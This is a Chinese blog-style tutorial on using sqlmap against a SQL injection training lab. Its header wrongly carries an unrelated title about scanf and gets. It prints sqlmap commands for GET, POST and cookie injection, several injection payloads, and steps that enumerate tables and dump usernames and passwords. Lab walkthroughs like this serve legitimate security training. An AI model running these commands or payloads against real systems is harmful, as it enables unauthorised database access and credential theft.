1. 程式人生 > 其它 >一次讀入一行的資料(scanf和gets)

一次讀入一行的資料(scanf和gets)

文章目錄


前言

sqlmap是sql注入的測試工具,優點是自動化和範圍廣,但是會有誤報、漏報且測試方法有限。靶場我使用的是蟻景網安學院的sql入門靶場。


一、SQL注入

在這裡插入圖片描述

二、SQLMAP

官方網址:
在這裡插入圖片描述

1.GET注入

在kali裡輸入命令

sqlmap -u http://139.155.49.43:5000/vulnlab/index.php?id=1

在這裡插入圖片描述
sqlmap會告訴我們id是可注入點,並給我們提供了複數個payload用以注入

Parameter: id (GET)                                                                                                                                                                                                                       
    Type: boolean-based blind                                                                                                                                                                                                             
    Title: AND boolean-based blind - WHERE or HAVING clause                                                                                                                                                                               
    Payload: id=1' AND 1126=1126 AND 'RQGR'='RQGR

    Type: error-based
    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
    Payload: id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716a6a6271,(SELECT (ELT(6033=6033,1))),0x7178767a71,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'sILA'='sILA

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 8168 FROM (SELECT(SLEEP(5)))EnSG) AND 'tPks'='tPks

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-5242' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6a6271,0x4f667a4b6f49434f446a667a634643536869414442575a5064665451536c4d426676644579644376,0x7178767a71)-- -

如果要獲取所有庫名,在最後加上–dbs

sqlmap -u http://139.155.49.43:5000/vulnlab/index.php?id=1 --dbs

同時還有其它字尾名可選
在這裡插入圖片描述
–sql-shell 開啟一個shell會話框
–batch 從不要求使用者輸入,使用預設引數
要獲取當前資料庫的管理員姓名和密碼,hetianlab是用–current-db檢索出來的當前資料庫名稱

sqlmap -u http://139.155.49.43:5000/vulnlab/index.php?id=1 -D hetianlab --tables 

在這裡插入圖片描述
得到結果如上圖所示,我們再對users這個table檢視資料

sqlmap -u http://139.155.49.43:5000/vulnlab/index.php?id=1 -D hetianlab -T users --columns 

在這裡插入圖片描述

再讀取username和password裡面的資訊

sqlmap -u http://139.155.49.43:5000/vulnlab/index.php?id=1 -D heitianlab -T users -C username,password --dump

在這裡插入圖片描述

2.POST注入

輸入使用者名稱和密碼以後進行抓包,抓包的內容複製下來儲存到檔案r.txt中
執行命令
在這裡插入圖片描述

sqlmap -r r.txt

在這裡插入圖片描述

之後使用的字尾引數都與前面的相同

3.Cookie注入

一開始的操作都跟POST注入一樣,但因為cookie的存在所以沒法用同一命令找到注入點。sqlmap會提示你增加level或risk選項。
在這裡插入圖片描述

–level=LEVEL 要執行的測試級別(1-5,default 1)
預設:始終測試GET和POST引數
2級:測試HTTP cookie頭值
3級:測試HTTP User-Agent / Referer 頭值

sqlmap -r r.txt --level=2

如果抓包直接能抓到cookie的值,可以使用 cookie注入命令:sqlmap.py -u 注入點 --cookie=”獲取的cookie”